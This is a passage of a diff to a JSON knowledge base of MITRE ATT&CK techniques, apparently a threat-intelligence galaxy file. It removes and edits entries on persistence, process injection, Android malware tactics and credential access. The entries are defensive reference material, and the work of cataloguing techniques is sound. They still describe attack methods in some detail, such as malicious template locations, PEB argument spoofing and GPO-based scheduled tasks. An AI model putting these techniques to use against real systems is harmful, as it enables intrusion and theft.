directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm)", "meta": { "external_id": "T1098.004", "kill_chain": [ @@ -8939,14 +8127,10 @@ ], "mitre_platforms": [ "Linux", - "macOS", - "IaaS" + "macOS" ], "refs": [ - "https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/", "https://attack.mitre.org/techniques/T1098/004", - "https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata", - "https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update", "https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability", "https://www.ssh.com/ssh/authorized_keys/", "https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities" @@ -8961,41 +8145,6 @@ "uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4", "value": "SSH Authorized Keys - T1098.004" }, - { - "description": "Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: svchost.exe) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll.(Citation: Microsoft System Services Fundamentals) The termsrv.dll file, typically stored in `%SystemRoot%\\System32\\`, is the default ServiceDll value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.", - "meta": { - "external_id": "T1505.005", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "Command: Command Execution", - "File: File Modification", - "Module: Module Load", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/", - "https://attack.mitre.org/techniques/T1505/005", - "https://docs.microsoft.com/windows/win32/termserv/about-terminal-services", - "https://github.com/stascorp/rdpwrap", - "https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx", - "https://twitter.com/james_inthe_box/status/1150495335812177920" - ] - }, - "related": [ - { - "dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb", - "type": "subtechnique-of" - } - ], - "uuid": "379809f6-2fac-42c1-bd2e-e9dee70b27f8", - "value": "Terminal Services DLL - T1505.005" - }, { "description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ", "meta": { @@ -9087,7 +8236,7 @@ "value": "Network Security Appliances - T1590.006" }, { - "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)", + "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)", "meta": { "external_id": "T1059.008", "kill_chain": [ @@ -9240,34 +8389,6 @@ "uuid": "7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", "value": "Email Forwarding Rule - T1114.003" }, - { - "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (e.g., by using `malloc`) then invoking that memory with `PTRACE_SETREGS` to set the register containing the next instruction to execute. Ptrace system call injection can also be done with `PTRACE_POKETEXT`/`PTRACE_POKEDATA`, which copy data to a specific address in the target process's memory (e.g., the current address of the next instruction).(Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible when targeting processes with high-privileges, and on some systems those that are non-child processes.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.", - "meta": { - "external_id": "T1631.001", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion", - "mitre-mobile-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://man7.org/linux/man-pages/man2/ptrace.2.html", - "https://attack.mitre.org/techniques/T1631/001", - "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf", - "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be" - ] - }, - "related": [ - { - "dest-uuid": "b7c0e45f-0206-4f75-96e7-fe7edad3aaff", - "type": "subtechnique-of" - } - ], - "uuid": "1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", - "value": "Ptrace System Calls - T1631.001" - }, { "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.", "meta": { @@ -9343,79 +8464,6 @@ "uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "value": "System Language Discovery - T1614.001" }, - { - "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity to deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.\n\nOne method to achieve [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) is by modifying the contents of the device clipboard. Malicious applications may monitor clipboard activity through the `ClipboardManager.OnPrimaryClipChangedListener` interface on Android to determine when clipboard contents have changed. Listening to clipboard activity, reading clipboard contents, and modifying clipboard contents requires no explicit application permissions and can be performed by applications running in the background. However, this behavior has changed with the release of Android 10.\n\nAdversaries may use [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) to replace text prior to being pasted. For example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.\n\n[Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) was seen within the Android/Clipper.C trojan. This sample was detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)", - "meta": { - "external_id": "T1641.001", - "kill_chain": [ - "mitre-mobile-attack:impact" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1641/001", - "https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/" - ] - }, - "related": [ - { - "dest-uuid": "c548d8c4-a0a3-4a24-bb79-2a84abbc7b36", - "type": "subtechnique-of" - } - ], - "uuid": "74e6003f-c7f4-4047-983b-708cc19b96b6", - "value": "Transmitted Data Manipulation - T1641.001" - }, - { - "description": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. \n\n \n\nPopular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. \n\n \n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed). ", - "meta": { - "external_id": "T1481.001", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1481/001" - ] - }, - "related": [ - { - "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", - "type": "subtechnique-of" - } - ], - "uuid": "986f80f7-ff0e-4f48-87bd-0394814bbce5", - "value": "Dead Drop Resolver - T1481.001" - }, - { - "description": "Adversaries may attempt to get a listing of security applications and configurations that are installed on a device. This may include things such as mobile security products. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1418/001) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempt specific actions. ", - "meta": { - "external_id": "APP-12", - "kill_chain": [ - "mitre-mobile-attack:discovery" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1418/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-12.html" - ] - }, - "related": [ - { - "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", - "type": "subtechnique-of" - } - ], - "uuid": "1d44f529-6fe6-489f-8a01-6261ac43f05e", - "value": "Security Software Discovery - T1418.001" - }, { "description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)", "meta": { @@ -9453,7 +8501,7 @@ "value": "Disk Content Wipe - T1561.001" }, { - "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the DescribeSecurityGroups action with various request parameters. (Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud)", + "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)", "meta": { "external_id": "CAPEC-581", "kill_chain": [ @@ -9479,7 +8527,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1518/001", "https://capec.mitre.org/data/definitions/581.html", - "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeSecurityGroups.html", "https://expel.io/blog/finding-evil-in-aws/" ] }, @@ -9517,42 +8564,6 @@ "uuid": "ed730f20-0e44-48b9-85f8-0e2adeb76867", "value": "Determine Physical Locations - T1591.001" }, - { - "description": "Adversaries may mimic common operating system GUI components to prompt users for sensitive information with a seemingly legitimate prompt. The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.(Citation: Felt-PhishingOnMobileDevices)\n\nThere are several approaches adversaries may use to mimic this functionality. Adversaries may impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and, when installed on the device, may prompt the user for sensitive information.(Citation: eset-finance) Adversaries may also send fake device notifications to the user that may trigger the display of an input prompt when clicked.(Citation: Group IB Gustuff Mar 2019) \n\nAdditionally, adversaries may display a prompt on top of a running, legitimate application to trick users into entering sensitive information into a malicious application rather than the legitimate application. Typically, adversaries need to know when the targeted application and the individual activity within the targeted application is running in the foreground to display the prompt at the proper time. Adversaries can abuse Android’s accessibility features to determine which application is currently in the foreground.(Citation: ThreatFabric Cerberus) Two known approaches to displaying a prompt include:\n\n* Adversaries start a new activity on top of a running legitimate application.(Citation: Felt-PhishingOnMobileDevices)(Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.(Citation: Android Background)\n* Adversaries create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions and, at least under certain conditions, is automatically granted to applications installed from the Google Play Store.(Citation: Cloak and Dagger)(Citation: NowSecure Android Overlay)(Citation: Skycure-Accessibility) The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.(Citation: XDA Bubbles)", - "meta": { - "external_id": "APP-31", - "kill_chain": [ - "mitre-mobile-attack:credential-access", - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://cloak-and-dagger.org/", - "http://w2spconf.com/2011/papers/felt-mobilephishing.pdf", - "https://attack.mitre.org/techniques/T1417/002", - "https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf", - "https://developer.android.com/guide/components/activities/background-starts", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html", - "https://www.group-ib.com/blog/gustuff", - "https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/", - "https://www.skycure.com/blog/accessibility-clickjacking/", - "https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html", - "https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/", - "https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/" - ] - }, - "related": [ - { - "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", - "type": "subtechnique-of" - } - ], - "uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", - "value": "GUI Input Capture - T1417.002" - }, { "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)", "meta": { @@ -9628,82 +8639,6 @@ "uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", "value": "Disk Structure Wipe - T1561.002" }, - { - "description": "Adversaries may abuse Android’s device administration API to obtain a higher degree of control over the device. By abusing the API, adversaries can perform several nefarious actions, such as resetting the device’s password for [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642), factory resetting the device for [File Deletion](https://attack.mitre.org/techniques/T1630/002) and to delete any traces of the malware, disabling all the device’s cameras, or to make it more difficult to uninstall the app.\n\nDevice administrators must be approved by the user at runtime, with a system popup showing which actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input.", - "meta": { - "external_id": "APP-22", - "kill_chain": [ - "mitre-mobile-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1626/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html" - ] - }, - "related": [ - { - "dest-uuid": "08ea902d-ecb5-47ed-a453-2798057bb2d3", - "type": "subtechnique-of" - } - ], - "uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", - "value": "Device Administrator Permissions - T1626.001" - }, - { - "description": "A malicious application could suppress its icon from being displayed to the user in the application launcher. This hides the fact that it is installed, and can make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions. \n\nThis behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker) \n\nBeginning in Android 10, changes were introduced to inhibit malicious applications’ ability to hide their icon. If an app is a system app, requests no permissions, or does not have a launcher activity, the application’s icon will be fully hidden. Further, if the device is fully managed or the application is in a work profile, the icon will be fully hidden. Otherwise, a synthesized activity is shown, which is a launcher icon that represents the app’s details page in the system settings. If the user clicks the synthesized activity in the launcher, they are taken to the application’s details page in the system settings.(Citation: Android 10 Limitations to Hiding App Icons)(Citation: LauncherApps getActivityList)", - "meta": { - "external_id": "T1628.001", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1628/001", - "https://developer.android.com/reference/kotlin/android/content/pm/LauncherApps#getactivitylist", - "https://source.android.com/setup/start/android-10-release#limitations_to_hiding_app_icons", - "https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker", - "https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/", - "https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/" - ] - }, - "related": [ - { - "dest-uuid": "fc53309d-ebd5-4573-9242-57024ebdad4f", - "type": "subtechnique-of" - } - ], - "uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", - "value": "Suppress Application Icon - T1628.001" - }, - { - "description": "Adversaries may abuse the Android device administration API to prevent the user from uninstalling a target application. In earlier versions of Android, device administrator applications needed their administration capabilities explicitly deactivated by the user before the application could be uninstalled. This was later updated so the user could deactivate and uninstall the administrator application in one step.\n\nAdversaries may also abuse the device accessibility APIs to prevent removal. This set of APIs allows the application to perform certain actions on behalf of the user and programmatically determine what is being shown on the screen. The malicious application could monitor the device screen for certain modals (e.g., the confirmation modal to uninstall an application) and inject screen input or a back button tap to close the modal.", - "meta": { - "external_id": "APP-22", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1629/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html" - ] - }, - "related": [ - { - "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", - "type": "subtechnique-of" - } - ], - "uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", - "value": "Prevent Application Removal - T1629.001" - }, { "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", "meta": { @@ -9796,32 +8731,6 @@ "uuid": "2339cf19-8f1e-48f7-8a91-0262ba547b6f", "value": "Identify Business Tempo - T1591.003" }, - { - "description": "Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1637/001) (DGAs) to procedurally generate domain names for uses such as command and control communication or malicious application distribution.(Citation: securelist rotexy 2018)\n\nDGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there could potentially be thousands of domains that malware can check for instructions.", - "meta": { - "external_id": "T1637.001", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1637/001", - "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/", - "https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/" - ] - }, - "related": [ - { - "dest-uuid": "2ccc3d39-9598-4d32-9657-42e1c7095d26", - "type": "subtechnique-of" - } - ], - "uuid": "fd211238-f767-4599-8c0d-9dca36624626", - "value": "Domain Generation Algorithms - T1637.001" - }, { "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)", "meta": { @@ -9860,39 +8769,7 @@ "value": "Group Policy Modification - T1484.001" }, { - "description": "Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)\n\nAdversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) WriteProcessMemory() function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)\n\nThis behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade 